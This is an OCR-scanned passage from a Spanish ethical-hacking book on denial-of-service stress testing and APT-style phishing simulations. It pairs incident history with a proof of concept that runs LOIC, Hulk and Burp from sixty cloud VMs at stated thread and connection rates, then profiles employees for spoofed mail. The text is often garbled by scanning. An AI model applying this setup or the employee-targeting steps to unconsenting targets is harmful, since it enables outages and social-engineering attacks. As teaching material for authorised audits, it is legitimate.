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Ricardo Galli consiguié trasladar la investigacion del mundo digital al mundo fisico en Argentina

y descubrié los teléfonos y direcciones fisicas de los ciberdelincuentes. La situacién se ponia
interesante y optd por llamar a la madre de uno de ellos v comentarle, descubrio que [a hermana
de uno de ellos era una modelo de la empresa Playboy y que habia fotos y videos de ella en la red.
incuentes volvieron a amenazar a Galli, y tiraron no s6lo Menéame,

Después de esto, los ciberdel
sino también el hosting donde estaba alojado, es decir, Wordpress. Este ataque durd varios dias,
ais. £/ FBI acabo metido en

Galli publicé sus investigaciones y los ciberdelincuentes huyeron del p
el asunto, ya que Wordpress prepard la denuncia.

En el verano de 2013, China sufrié el mayor atague de DDoS de su historia, hasta ese instante. China
dispone de mas de 560 millones de internautas. lo cual es un mercado amplio. El ataque sufrido es
de origen desconocido, y China ne dio ni dara explicaciones, ya que en estos dmbitos el secretismo
del pais es total. Es cierto que el ataque sufrido por China dejé a los internautas del pais sin acceso
a los dominios *.cn”’ y deficiencias en el acceso a Internet. La caida de servicio no fue total, ya que

los proveedores utilizaron paginas cacheadas y servicios de CDN. Laempresa Cloud[lere comunico

que el tréfico de Internet en China cayo un 32% en las horas del ataque.

De todo esto se puede entender que China no esta tan preparada contra un atague de este estilo, y
que incluso en un hipotético o real conflicto de ciberguerra los paises pueden caer ante un ataque de
gran escala. La capacidad defensiva de China quedd en entredicho. y quiza el ataque fuera llevado
a cabo por otro pais no amigo.

Todas estas historias que se han ido descubriendo parecen sacadas de una pelicula, pero son hechos
reales que suceden en el mundo digital. Las empresas conocedoras de todo esto, intentan evaluar la
fortaleza de su infraestructura contra este tipo de alaques. Si el ataque es a gran escala, seguramente
casi cualquier empresa u organizacidn caerd ante un DDoS, pero estos datos de evaluacion son
importantes para que los directivos puedan tomar decisiones al respecto.

Técnicas
Existen técnicas tanto DoS como DDoS, algunas de las cuales son bastante antiguas. pero es
interesante repasarlas e intentar optar por una derivacion de la téenica. En este apartado se repasan

técnicas tanto de DoS como de DDeS.

La primera técnica que se presenta €s Mail Bombing, la cual sirve para realizar denegacion de
servicio (DoS) a través del envio masivo de mensajes a una maquina. El objetivo es saturar el
servicio con todos los correos electrénicos recibidos.

La segunda técnica para DoS es la denominada “pitfo” o smurfing. Esta técnica se basa en el

envio de una trama /CMP, que corresponde con una peticion ping, por la red. La trama lleva como
direccién IP de origen la direccién [P de la victima, utilizando la técnica I Spoofing, y comd
direccion de destino la direccion IP de broadcast de la red a la que se ataca. El objetivo es que todos
los equipos de la red contesten al equipo de la victima de modo que saturen su ancho de banda.
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Esta téenica no funci i :
S b amo funciona en redes actuales, ya que se configuran para que no se pueda utilizar
direccionamiento hrocdcast en IP. .

La te Seni i X1 isti i
- enrc:(erat tecmga son los_ﬂojud. Existen distintos tipos de flood, en funcion de la capa en la que
, atazzrcl?aret_ell. ataque,d por ejemplo, SYN flood, UDP jlood, HTTP flood. etcétera. Con S YN ﬁoluc.’
utiliza una direccion /P inexistente y envia gr: ida : o S
a 7 | gran cantidad de tramas con el /
ko e ; el flag SYN de
o0n a la victima. La victima no puede contestar al usuario que realiza la peticidn, ya que la
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Una de las téeni: s utili /
- D;\;S :.megs mas utilizadas, y como se ha comentado anteriormente en ¢l caso Spamhaus, es
e . . . . % . " g - = =
g .-npgﬁcanon. Esta técnica utiliza a los servidores DNS de Internet como amplificadores
en ¢l volumen de hyies que se resp 4 icti
e onderd a una victima. En otr : i
el ; as palabras, un atacante real
Sy e : ; acante realiza
Fp e sf’\fS CU; Lll;d direccion /P falsa. Cuando el servidor DNS responde lo hard a la direccién
€ se ha spoofeade, por lo que le llegars 1 i
) ) egard a un equipo que no realizo tal peticid icid
A ol 170 tal peticion. La peticién
y 70 veces menos que la r ' i
: y ‘ espuesta. por lo que la amplificacid 4 i
€ ptns ok o : = q plificacion esta garantizada.
i peticiones alc.a’man un volumen importante se puede inundar el equipo de la victima
provocando la denegacién de servicio. N

General 3 i dif Seni
e mente, se pueden unir diferentes téenicas con el objetivo de potenciar el ataque, pero hay
en uent ¢ ti ‘ . ¥ gy :
er en cuenta quc tipo de ataques son “sumables” y cudles no. Si el objetivo es “tirar” la
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Objetivos en una auditoria

Existe un inio iz izaci
P 'a (()iprmon_ generalizada en las organizaciones sobre las pruebas de estrés o pruebas de
. : o .
i ;o;dﬂs E serwé:m..Esta opinion refleja que estas pruebas son arriesgas, y en gran parte llevan
un tactor de riesgo, pero el cual la organizacion debe decidir si tomar o no. Es importante
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elegir a un equipo adecuado que lleven a cabo las prucbas y que se garantice en tqdo -momento que
lo que se utiliza es lo que, por contrato, se ha pactado. Otra de las circunstancias indispensables es
el control total sobre la prueba que se debe tener.

Como ya se ha mencionado, ¢s importante medir la fortaleza de la”infr.aestructura y los recursos
necesarios para, en caso de que la prueba resulte positiva, “fumbar” la infraestructura y_provDCE}r
la denegacion de servicio. Existen sectores donde las grandes empresas deben estar prepar adas pf.la
este 1ip6 de ataques, por gjemplo empresas del sector bancario o las telecomunicaciones. P-LI’O
también deben disponer de las cifras que indiquen cuanta carga pueden soportar y cuantos recursos
pueden necesitar para resistir un ataque de esta indole.

Una prueba de denegacion de servicio conlleva un namero de jornadas dond’e el equipo det?e estudiar
tanto la via a explotar como la infraestructura a la que se enfrentan. Ademas, para garantizar 'qrue la
prueba se realiza en un entorno no critico, el horario utilizado para llevar a cal?o la prueba serd una
ventana de tiempo con poca actividad en la empresa. Casi siempre son horarios r:locturnos, dpnde
la actividad de la empresa disminuye. Es cierto que simular un ataq’ue real llevaria a los auditores
a realizar la prueba en un horario de maxima productividad, y ad(ﬁma.s se apl:ov.echarl'an de la c?rga
que genera la propia actividad empresarial. pero esto pondria en riesgo lo mas importante que tiene
una organizacion, quees la propia-actividad.

La prueba de estrés o de denegacion de servicio se puede resumir en lo siguiente:
. Estudio de la infraestructura y descubrimiento de elementos y vias por donde orientar la
estrategia de alaque.
- Preparacion de entornos distribuidos para llevar a cabo la operativa.

- Fjecucién de la prueba y verificacion de resuitados.

En todo momento, durante la cjecucién de la prueba, se debe tener contacio con el responsable
de seguridad de la organizacion. El canal utilizado no puede ser uno de los que pueden quedar
denegados, por lo que se recomienda utilizar el teléfono.

El proceso ético

Cuando un equipo de auditores se enfrenta a un proceso de este énjlvilo, uno puede pensar en quedla
prueba tendra éxito utilizando una red de equipos zombies, es decir, una hotnet. Sobre t.0d0 cuan 0
ano se encuentra en este mundo se le ocurren vias para llevar a cal?o esto, pero el auditor s-lemprg
debe pensar de forma ética, por lo que no podra utilizarse bajo ningtn concepto una b.f)fﬂ@f. ;deas?
Como se vera mas adelante, se podra fabricar una gracias al patadigma cloud computing.

La utilizacién de una homet no asegura el control total, ya que se estaria con.trat.ando un servicio
ilegal, y el auditor no tendria la certeza de que puede parar la prueba en cualquier mstantq E]'potli{:;
parar la prueba por cualquier causa, es algo que seguramente la empresa cc?r’ltratante exigird a -
auditores. Ademis, por ello se utiliza un canal secundario para la comunicacion durante el proceso.
para asegurar que en caso de necesidad se puede dar la orden de parada.
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La gjecucion de la prueba se deberd ejecutar solamente en la ventana de tiempo que la empresa
contratante indique. En ningiin instante, fuera de esa venlana temporal, se podrén realizar pruebas

que puedan perjudicar a la empresa. Esto es algo de vital importancia, y que refleja la educacion y
ética de un auditor. —

Tanto los resultados como las pruebas que son llevadas a cabo son totalmente confidenciales. Esto
ocurre con todas las auditorfas que se realizan y que se expresan en el presente libro, pero no estd de
més anunciarlo siempre que se hable de ética profesional.

Pruebas

Las pruebas a realizar en la denegacion de servicio se basan en las téenicas que se han ilustrado en
el apartado de técnicas, explicado anteriormente.

A continuacion se enumeran las pruebas:

- UDP flood. Se realiza la téenica DNS Amplification v otras basadas en inundacion de
datagramas L/DP.

- TCP flood. Tnundacién y sobrecarga de sistemas mediante conexiones TCP. Se utilizan
herramientas que automatizan el proceso, por ejemplo LOIC, Low Orbin Ton Cemon.

- HTTP flood. Inundacién de peticiones HTTP. El objetivo es realizar una gran cantidad
de peticiones a ciertos recursos web con el objetivo de alcanzar la saturacion del recurso o
servidor web. Si se tiene éxito se reportard mediante una imagen de una petician al recurso y
el servidor no pudiendo ofrecerlo.

Resumen: Ataques en general

Ataque Descripeion

Saturacion ICMP spoofeande la direceion [P origen para redirigir las
respuestas a la victima

Ataque smurf

ICMP echio flood Envio masive de paquetes ping
e Cl]‘\”" v ateg e e - 2t = 5y T

IP Packet frapniit S fan paquetes IP que tL.ITlItt.!'l’cl otros paquth,.s que nunca llegaran

al destino, provocando la saturacién de la memoria de la victima
IGMP finod Envio masive de paquetes IGMP
TCP SYN flood Envie masivo de solicitudes de conexion TCP
TCP spoofed SYN Envio masivo de solicitudes de conexion T7CP con una dircecion I
flood origen falsa

Envio masivo de solicitudes de conexién 7CP a un gran nimero
TCPSYN ACK de maquinas, usurpando la direccién de origen por la direccion de

reflection flood la victima. El ancho de banda de la victima queda saturado por las

respuestas a dichas peticiones.

TCP ACK flood Envio masivo de acuses de recibo de segmentos 7CP
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Ataque Descripcion
TCP fragmented Envio de segmentos TCP que remiten voluntariamente a otros que
Attack nunca se envian
UDP flood Envio masivo de datagramas UDP
Envio de datagramas que remiten a otros datagramas que deben ser
UDP fragment flood " = N : = q
enviados después, pero que nunca se envian
DNS flood Ataque de un servidor DNS enviando masivamente peticiones

Envio masivo de peticiones DNS spoofeancio la direccién IP origen y

DNS Amplification provocando que los DNS envien las respuestas a la victima, que tendra
direccion 1P origen falseada
HTTP flood Envio masivo de peticiones a un servidor web
Ataque de un servidor DNS mediante el envio masivo de peticiones
DDoS DNS i o ]
desde un eran niimero de maquinas controladas por el atacante

Tabla 3.05: Resumen ataques DoS/DDOS.

PoC: Poco tiempo de actuacién y mucho de preparacion

El lector ya ha podido analizar y entender que las pruebas de dencgacion de servicio conllevan
bastante preparacién y que la ventana de ejecucion sera breve, en tormo a pocas horas.

En esta prueba de concepto se propone el siguiente escenario:
- La empresa contratante es una fabrica de muebles, la cual dispone de venta onfline y le
preocupan los posibles ataques por parte de la competencia. Quieren conocer €l estado de su
infraestructura y lo que ésta puede aguaniar frente a un posible ataque.
_ La ventana de liempo pactada es de dos horas, siendo la hora de inicio las 3.00 de la
madrugada y finalizando la prueba a las 5.00 de la madrugada.
- Se niega el uso de cualquier red bofner.
- Se debe disponer de un control total sobre la arquitectura que se utilizard para poder parar
la prusba en cualquier instante.
_ Elcanal de comunicacion entre la persona del equipo responsable de la comunicacion con
¢l cliente serd el medio telefonico.
- Se aporta un dato sobre el ancho de banda de la red de entrada de la organizacion, Este
dato indica que la organizacién estd preparada para soportar 120 Mbit/s. En caso de que se
alcance ese maximo, el proveedor le aporta un ancho de banda de 300 Mhbit/s como caso

extraordinario ante un posible ataque.

El equipo de auditoria estudia el perimetro y sitios web de los que dispone la empresa, requieren
reconocer el terreno contra el que deben luchar. Tras entender a lo que se enfrentan, y sabiendo gue
deben utilizar maquinas legitimas, optan por utilizar el paradigma eloud computing para llevar

cabo la prueba.
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La idea es la siguiente:

- Utlhze_lr cpentas. de un proveedor de cloud computing para lograr disponer de un niimero
alto de maquinas y recursos. )

Por ejemplo, se utilizard el proveedor de cloud Windows Azure.
- Es importante estudiar cuanto ancho de banda de salida se dispone y si la distribucién

geografica se puede utilizar. Este hecho hara que el equipo disponga de méquinas repartidas
‘por el mundo y monitorizadas en cualquier instante.

Tras reallzai_' un analisis de ancho de banda. se obtiene que se puede tener 100 Mbitss por
pun.to Qe salida de region. Esto puede aumentar en funcién de las necesidades del cliente. es
decir, si se pagan més recursos se dispondra de un mayor potencial. ‘

- Una vez se adquieren los recursos en el cloud, se instalan las herramientas necesarias para
llevar a cabo las pruebas.

- En un caso real, se puede utilizar las cuentas que proveedores como Azure o Amazon
ofertan, y con varias cuentas disponer de un nimero de equipos y recursos potet%tes nlos
cuales pueden servir para llevar a cabo con éxito este tipo de pruebas. .

Si se quiere aumentar las posibilidades de éxito, se debera invertir mas dinero en abtener mas
recursos y mas potencia en el cloud. En esta prucba de concepto sc adquicren seis cuentas de
prueba de Windclnm Azure, para lo que se necesita seis tarjetas diferentes. Aunque no se ha-iaaﬂ
pagos, se necesitan datos de facturacion por si mas adelante el cliente adquicre un scrvi}io
de pago.

Po.r cgda cu‘enta el a’:.qLu.po.(Ie auditores prepara diez maquinas. por lo que al final se ticnen 60
maquinas Windows distribuidas geogrificamente por Azuse,

El arsenal de ataque estd casi preparado.

- NUEVO e
(x

Cree y administre maquinas virtuales
que se ejecuten en Windows Azure.

o

el
| |
| |

Fig. 3.78: Creacion de maquina en Windows Azire.

La ) - ¢ Lo i )
creacion de maquinas es sencilla en dzure y bastante rapida. Se deben configurar los distintos
drametr isie ati i ili . ‘ :
g)ndf metros, como es el sistema operativo que se quiere utilizar en la maquina. Ademas sc debe
lcar el usuario y contrasefia con la que se acceder a la maquina en el clowd.
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Fig. 3.79: Usuario v contrasefia para 4zre.

Los métodos con los que el auditor podra acceder a la maquina virtual que esta utilizando seran a
través de los servidos de escritorio remoto o mediante el uso de comandos de Powershell. En el
equipo remoto se podria automatizar con scripting la ¢jecucion de todas las pruebas que se quieran
realizar, pero teniendo una sola oportunidad en una ventana de tiempo, la posibilidad de realizar
seguimiento, o incluso la ejecucion manual de las pruebas, es algo interesante a valorar, por lo que
en muchas ocasiones es mas céomodo realizar la conexién a través de una conexion de eseritorio
remoto que de acceso a todas las herramientas de monitorizacion y soporte de la miquina.

Una de las acciones importantes en el guiado de Microsaft Azure para la creacion de nuevas maquinas
alojadas en sus servicios de Cloud es la seleccion de distintas regiones geograficas en las que se
pueden ubicar. Se puede comprobar después de que estas sean creadas. que las maquinas salen
por distintos sitios a Internet haciendo uso de una simple conexion a un servicio de verificacién de
direcciones [P, tipo Whatsmyip.com y verificar la ubicacién geografica de esta direccion con alglin
servicio de Geo-IP.

Elegir la region adecuada nos puede servir para estar més cerca del objetivo, para estar en el mismo
CPD que el objetivo si resulta que también es una maquina alojada en Microsofi Azure o para
conseguir un ataque coordinado y distribuido usando diferentes ubicaciones en paralelo que nos
permita evaluar los sistemas de proteccion que estan configurados para proteger los servidores de
los objetivos.

T
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Fig. 3.80: Seleccion de regitm en Azie

Una vez que se tiene todo preparado, se deben realizar pequenias pruebas contra recursos propios con
el fin de verificar que la arquitectura y el potencial se encuentran disponibles para atacar y conseguir
el objetiva. Si todo va bien, habré que esperar a que llegue la ventana de tiempo para ejecu.tarb]a-;
pruebas v lograr el objetivo de dejar a la empresa sin servicio. \

PoC: Colapsando las conexiones

En esta.prucba de concepto se utilizan diversas herramientas para llevar a cabo el ataque. Se puede
cqn_sirulr una estrategia basada en tiempo de actuacion o por inundacion total. En este ejemplo se
ut]hzalrr_'m las maquinas creadas y configuradas en la prueba de concepto anterior para colapsar las
conexiones de los elementos frontales de la empresa. La herramienta LOIC permite llevar a ca-bn
una inundacién de conexiones 7CP. pero no serd la (imica herramienta que se utilice, Se dispone df;‘
un .5'(4:':';7! denominade fHulk ¢l cual permite inundar de peticiones HTTP un recurso o servidor web
Tamblén se dispone de la herramienta burp suife con la que se puede realizar tareas similares ai.
seripi anterior.

El objetivo de LOIC es el protocolo TCP, mientras que Hulk y Burp se utilizaran para el protocolo
Hitp. La estrategia es importante, se puede partir con todo el polencial, con el riesgo de poder
.q_uedar bloqueado por la empresa y perder las méaquinas. o ir con una esirategia dividida y con
elertos patrones de ataque aleatorios, buscando precisamente evitar el bloqueo. pero au11;e11tad0
progresivamente el potencial de ataque. La estrategia debe ser elegida por el equipo en funcién de
las caracteristicas.
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La configuracién de las herramientas es importante, ya que parte de la eficiencia de los ataques
residira en este hecho. Para esta prueba de concepto se propone la siguiente configuracion para la
herramienta burp suite:

Propiedad Valor
Threads 127 .
Conexion Http[s]://<recurso web al que realizar peticiones>
Plataforma Java
Conexiones por segundo 90 (Lo que se puede conseguir por maquina)

Entendiendo que cada maquina ejecuta 127 hilos, y que cada maquina genera 90 conexiones por

segundo, en todas las méquinas se obtendria alrededor de 90 x 60 = 5400 cone)_{ipfnes por se.guqdo.
El equipo, en sus pruebas, deberia haber probado estos valores para tomar la dec151_on de st necesﬂal}
mayor potencia o puede valer para congestionar completamente el objeti vo. Esto siempre dependera
de la infraestructura del cliente. A continuacion se puede visualizar una imagen del scripf Hulk en
funcionamiento. Esta herramienta vuelca su guery en peticiones a recursos, lo que aumentara el
poder de saturacion en la prueba.

= Jfoygdriveicihulk

— HULKX Attack Started —
73 Reguests Sent
?6 Requests Sent
7?7 Reguests Sent
A78 Requests Sent
179 Reguests Sent
2808 Beguests Sent
381 Reguests Sent
482 BReguests Sent
583 Requests Sent
684 Reguests Sent
786 Reguests Sent
B8R Reguests Sent
289 Heguests Sent
esponse Code 588
esponse Code 508
esponse Code LH8@

Fig, 3.81: Hulk en ¢fecucinn.

Por filtimo la configuracién de LOJC para esta prueba de concepto podria ser algo como lo
siguicnte:

Propiedad Valor
Threads 60
Conexion <Direccion IP farger>
Platatorma NET
Conexiones por segundo 60
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Fig. 3.82: L0OIC.

Con LOIC existe un punto en el que a mas hilos no hay mejores resultados, es la capacidad de la
maquina y del sistema operativo para realizar las operaciones. Ese valor debe ser buscado durante
las pruebas comentadas en la prueba de concepto anterior. En este caso, se proponen 60 hilos por
mdquina, y cada maquina es capaz de generar 60 conexiones por secundo. Estos son los datos
obtenidos en las pruebas con el entorne adquiride, por lo que 60 x 60 mdquinas, 3600 conexiones
por segundo.

Siempre habra que tener en cuenta los elementos de blogueo que disponen, o deberian disponer las
empresas, y la eficiencia de sus elementos de seguridad perimetrales en lo que a respuesta sc refiere,
Es decir, puede que se estén creando conexiones rdpidamente, y que los elementos de seguridad no
estén bloqueando direcciones /P ni cerrando todas las conexiones rapidamente, por lo que se pueden
ir acumulando. El problema de la denegacion puede tardar minutos en aparecer, o incluso horas,
pero si no se protegen acaban cayendo,

Otra estrategia es dividir los tiempos de la ventana temporal para llevar a cabo pruchas concretas
para poder ver como van reaccionando los distintos protocolos, elementos y capas. Eso si, en algin
momento se tendrd que lanzar la maxima potencia de lo que se ha contratado en el efowd para
intentar [orzar la caida del servicio,

Herramientas utilizadas

En este apartado se muestran herramientas que pueden ser utilizadas en el proceso de una prueba
de estrés. Al final es el equipo de auditores el que elegira las herramientas necesarias para llevar a
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cabo estas pruebas, pero se deben conocer bien y saber que realiza cada herramienta por debajo en
todo momento.

A las ya mencionadas LOIC, Hulk o Burp, se pueden afiadir las siguientes:
- JaniDos. Herramienta para realizar flooding disponible en Internet.
- Pandora DDoS. Motor con varios ataques de flooding implementados. Inundacion por
varios métodos de HTTP y TCP.
- DNS Reflection. Este codigo escrito en lenguaje C permite implementar un ataque de DNS
Amplification, enviando una peticion ONS a un servidor DNS configurado, cambiando la
direccion [P origen en tiempo de ejecucion. Aunque la herramienta estd escrita como prueba
de concepto, se puede entender el codigo vy saber como se puede implementar este tipo de
técnicas.
- Servicios web, como las que ya tiene LOIC. Esto no es recomendable en una auditoria, ya
que se salta la ética y la confidencialidad de todo el proceso, utilizando servicio no controlados
por el equipo de auditoria directamente.
- Existen diversas herramientas que se pueden encontrar en Internet, por lo que se
recomienda investigar y probarlas en entornos controlados, y sobre todo verificar el tipo de
peticiones que realizan, por ejemplo analizando con Wireshartk.

7.APT

Advanced Persistent Threat es algo complejo de calificar a priori, y aunque en algunos pliegos y
propuestas de procesos de Ethical Hacking aparecen con este nombre. estas pruebas no son realmente
un APT real, aunque se puede entender como una simulacién. Cualquier organizacidn con cualquier
tipo de recursos no podria llevar a cabo un APT. Realmente es algo cercano a gobiernos y entidades

con muchos recursos y dinero.

(Simulacion? Si. es una especie de juego donde se pretende intentar atacar y obtener informacion
sensible de un conjunto de personas, o incluse de una persona en conereto, a la que se denomina
muestra v que permite evaluar la posibilidad de que éstas cayesen en un atague real.

En un proceso de Ethical Hacking esta prueba se realiza contra los empleados, representados
como una muesira de una empresa. Se llevaran a cabo distintas pruebas con el fin de determinar la
concienciacion de los empleados contra ataques reales y dirigidos contra ellos. Se realizan varias
pruebas, en las que se pretende calificar y verificar el comportamiento de los empleados ante distintas

situaciones de peligro.

En muchas ocasiones se puede caer en el error de que es un simple plishing. v esto es incorrecto,
va que una simulacion de un APT lleva asociado una preparacién, estudio v conocimiento de
los empleados y el contexto de éstos. De esta forma se les podra poner a prueba en situaciones
concretas. previamente estudiadas y preparadas a medida. En algunas ocasiones, los auditores se
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pueden convertir en guionistas para preparar historias que puedan enganar a log emplead
cados,

o ; o : al final
un buen gancho e ingenieria social pueden ayudar a que los empleados caigan en la tram
Ampa.

Como se estudiard en este apartado, se puede partir desde una historia navidefia con premias, hast:
la_ _pr_t:paracién de un entorno web para un concurso, la obtencién de cuentas de corio e tE,;:I'msi(l
viabilidad en el envio de éstos, preparacion de apps moviles para enganarles a traves d.e fs «]0 ~
fztcétgla. Cada vez estas técnicas son mds y mas complejas, y realmente el limite puede esl;a:‘;:OIS"—;
imaginacion de cada uno. ‘

Historia de APT

El concepto de 4P7 salié a la fama en el mundo de la seguridad y de la tecnologia tras Ia publicacién

por parte del periddico The New York Times, de un ataque realizado por China, en conereto por un'r;
unidad militar a la que se conocia como APT-/, contra redes de diferentes medios mediante spe
phishing y malware avanzado.

Como se ha mencionado anteriormente, un 42T se centra en las personas o grupos de personas, es
una amenaza sofisticada de un ciberataque. Histéricamente los cibereriminales v los ciberataques
estaban enfocados a la aleatoriedad, es decir, no se centraban en nadie, sino E|ue lo importante
era obtener un beneficio, sin importar de quién viniera, Un APT ataca de forma concreta, sobre
una persona o grupo de personas. estd orientado al abjetivo especifico. Este hecho hace que sean
ciberataques Fota]mcnte validos para una ciberguerra, para una lucha entre paises, con muchos
IECUrsos para investigar y emplear tiempo en realizarlos,

(Por _qué aparccen? Es una técnica para llegar a la informacion que realmente importa, la informacion
que tiene un valor. Es indiferente el objetivo, podria ir desde un directivo de una gran empresa, hasta
un miembro de gobierno de un pais, lo importante es el valor de la persona yla I'I;]L‘Ol‘ﬂ‘lﬂcl-(’}n que ésta
posce. Histéricamente no han sido ataques faciles, y se puede observar como en ¢l caso del APT-
I’de China, la complejidad es extrema. aunque teniendo en cuenta que se llegan a realizar, es una
via I'G'Ell para llegar a informacion muy valiosa. También hay que resaltar que algunos 4PT no son
excesivamente complejos o utilizan téenicas clésicas, el valor reside en la persiste;cia y seguimiento
del objetivo, o

fﬁ.COmo se puede llevar a cabo? Quiza ir a por el CEQ de una empresa, presidente de una compafiia, o
IIIC]LI'SO de un pais, no sea algo sencillo, por lo que se busca un rango menor jpero gue esté en contaclo
con €l, o incluso en la misma red, y sirva de pivole para lograr acercarse al objetivo real. El grado
de con.]plejidad aumenta con el paso del tiempo en este tipo de ataques, y en algunas OC&lSiOi;CS se
debe sincronizar una serie compleja de acciones, infecciones. situaciones que abrban el camino hasta
el objetivo final. l

A medi.ndus del afio 2013, hubo una campaiia de ciberespionaje, via APT. denominada NeiTraveler.
LUS' objetivos, o algunos de ellos, eran diplomaticos, agencias gubernamentales, militares. etcétera
¢Coémo llevaron a cabo el ataque? Todo comenzé con una campafia de spear phishing. el cuaj
explotaba dos vulnerabilidades de Microsoff. Los atacantes utilizaban una herramienta con la que
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extraian del sistema la informacion gracias a un maiware que tenia un kevlogger. De este modo
robaron documentos de tipo ofimdtico. Ademas, cambiaron configuraciones para robar disefios de

AutoCAD o Corel Draw.

En el afio 2003 hubo una serie de atagques bajo el nombre de Titan Rain. Los ataques fueron
considerados de origen Chino, aunque es algo que no se confirm¢é oficialmente. Estos ataques
estaban relacionados con el espicnaje subvencionado por el gobierno, espionaje industrial y otros
tipos de espionaje. En aquella época toda esta situacion era algo “de pelicula”. ya que era una
época lejana a la nueva era de la ciberguerra y el ciberespionaje. En el afio 2005 S4NS comunicd
que lo més probable es que los ataques fueran el resultado de militares chinos muy preparados en el
ambito de la seguridad informéatica, cuyo objetivo seria la recopilacidn de informacién de sistemas
estadounidenses. Se consiguié acceso a redes estadounidenses, incluyendo a la NAS/ entre otros.

Estados Unidos y su Camara de Comercio fue victima de un ataque APT. Lo mas curioso de la
noticia fue la via por la que comenzd todo y fue un termostato que se encontraba en un edificio del
Capitolio. El termostato forma parte de lo que se conoce como el [nternet de las Cosas o Internet of
Things (loT). Un grupo de investigadores descubrieron que el disposilivo se comunicaba con una
direccion /P que procedia de China. La tendencia hace que cada vez més disposilivos se encuentren
interconectados en Internet, y esto puede suponer una via para las nuevas amenazas.

En otras palabras, si hay mas dispositivos conectados a Internet, los atdcantes tienen mas
oportunidades para atacarlos.

Por ultimo y retomando con el parrafo con el que se comienza este apartado, hay que hablar de
la unidad militar secreta China que revoluciond Internet, el ciberespionaje y. posiblemente, la
ciberguerra. China podria estar detras del robo de datos a varias empresas, seglin informé en su
dia la empresa de seguridad Mandiant. La empresa presentod un informe en el que se revelaban las
operaciones de ciberespionaje de la unidad 4P71.

En el informe Mandiant se exponia toda la estrategia de ciberespionaje a nivel empresarial de AP7
y como esto s¢ relacionaba con la unidad del gobierno chino. Una de las observaciones que se hacian
en el informe era la linea temporal de actuacion y los detalles de la mfraestructura de la que contaba
APTI, con mas de 40 familias de malware distintas.

La base se encontraba en Shangai y la unidad del ejército chino era la 61398, La unidad roba cientos
de rerabytes de alrededor de 141 compafifas de industrias de Estados Unidos, Canada y Reino Unido.
;Cuanto tiempo estuvo operativa? Como minimo 7 aflos. En esta informacién robada se podria
encontrar entre conversaciones entre empleados, correos electrénicos, detalles econdmicos, etcétera.

Pruebas

En una simulacion de APT, las pruebas que se ejecuten siempre serdn guiadas por las nuevas
experiencias o téenicas que puedan lograr un objetivo. Hay que recordar que la concatenacion de
pruebas exitosas puede provocar el éxito final y consecucidn del objetivo.

Capitulo U1, Confeccionando el ataque m

Es cierto que existe un conjunto de pruebas, las cuales se pueden entender

] "y - C
simulaciones, pero que el lector tenga claro que siempre se pueden s
praceso tan flexible e imaginativo como éste,

ercomo fijas dentro de estas
afadir nuevag técnicas en un

A continuacién se exponen las pruebas que pueden formar parte de este tipo de sim laci
ulacion:

- Estudio de la gente que formara la muestra sobre la que se realizaran lag bas. E
) i h . ruebas. ks
importante estudiar redes sociales, tanto profesionales como de ocio, en busca dcp] . «1:1-“ .
: ) ) ] r C 108 pe 5
mas Aptos para llevar a cabo la prueba. Un perfil apto puede ser desde una personal lej j“
con la tecnologia hasta un cargo directivo importante que puede ser interesante [ejdl .
atacar. Cuanta mds informacién haya d [ o
e la gente que conforme lam ifici

iar i S
ey estra, menos dificil serg

= Entorno ficticio cercano al mundo real. Como se ha mencionado hay que er

_vu?as de los empleados que conforman la muestra, por ello, es muy.intf:)r[e;.]fmu:CO:IlmCLLI I
informacion del 4mbito de la empresa y poder anunciarles. de manera direccta oL' Odj't‘e‘Il
a lo{s _empleados algo relacionado con la empresa. Se proponen varios e-]'emplosr L” -y 3
el tipico concurso entre empleados en el que se les muestra que les ha tocado 3;0001:]]}:_?5
preseniacion de aplicacién corporativa que deben probar, uso de inf‘nrmaci«fn-a psrs-onillw
laboral en beneficio del proceso, eteétera. En este punto la imaginacion del auditor l 0
v es que s¢ deben cuidar todos los detalles. . S

as
cr
la

- Hcrra'nuentas de control remoto y exploirs. Bs una prueba clasica, pero que con las nuevas
.Lecn?{)log_xgs maviles se ha movido a esta nueva era. EI uso masivo de documentos (}ﬁmétiu;;
y dispositivos méviles hace que la prueba de exploits, por ejemplo en un PDF y la mmb-;
de herramientas corporativas que hace mas de lo que deberia. son un gjemplo CIE;I'O (;ellu C u;
se ;’)uedc conseguir. Lo dificil puede ser que esto llegue a la persona adceuada pero para elHo
esta la fase previa de conocer y relacionarse de maners indirecta, conseguir Ile;_rar al rlag)jetf\«'o
- La clasica prueba de mail spoofing cobra importancia en esta simulacion. va que puede
ser la llave para lograr tomar comunicacion con las PETsonas que con forman la l]'tll_'c‘:lil“l
Antes de esto, se deberdn conocer los correos electrénicos de los empleados. lo cual & l
legar a no ser trivial, A

PoC: Estudio del conjunto de muestra a auditar

("0“ TS £ o = | ae S 1A
| ]m ocurre en el caso de las pruebas de estrés o de denegacion de servicio el tiempo de preparacion
e las NETE T @ - P AT ' . 1o )
. ais p.l’uubas es sobradamente mayor que el tempo de gjecucion de las propias pruebas. Una
simulacion de este (i : : sl i Frigied iere 5o
) lauon ’dLle.‘utt tpo no es lanzar un phishing y ver si funciona. esta prueba requiere conocer
narno de las vietimas hasta el grado que inter 1
ent g It Interese, y encontrar la via adecuada para losrar los
iy 3 a via adecuada para lograr los

Las) redisy el rebaiade
i cdes sociales han rebajado. en muchos casos. el grado de privacidad de las personas
a5 proporcionan ai auditor una via para conocer el entorno. correos, gustos, publicaciones o

Preocupaciones de sona. Redes soci ; ; i
pactones de una persona. Redes sociales como Linkedin proporcionan al auditor un entorno
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donde encontrar empleados de la propia organizacion que se audita, y poder formar los correos

electrénicos.

En esta prucba de concepto y las que vienen después, se escenifica como se recoge informacion de
50 personas, que seran el conjunto de muestra. Los miembros de seguridad de la empresa contratante
requieren que al menos un 20% sean puesios directivos. y que se realicen pruebas a sus dispositivos

moviles.

El equipo de auditorfa utilizara recursos y tiempo de las jornadas para llevar a cabo las siguientes

tareas:
- Busqueda de cudl es el formato de los correos electronicos corporativos.
- Estudiar y evaluar los perfiles de las personas que conformaran el conjunto de muestra.
;Cuiles son buenas ideas para formar un conjunto de muestra? Principalmente el
desconocimiento tecnolégico y la no concienciacion. Esto no es facil de saber a priori,
por ello puede ser interesante conocer algo més de las personas y no solamente su correo
electrénico. Conseguir un conjunto de muestra Optimo para lograr el mayor éxito en el APT
es una tarea critica y sumamente importante.
- Seleccién final de los perfiles y perfilar sus datos en documentacion. Preparar datos
como nombres, correos electrénicos, redes sociales, gustos, sitios que frecuenta en Internet,
etcétera.

Analizar con toda la informacién requerida cudl es la via adecuada para realizar la

simulacion de 4PT.
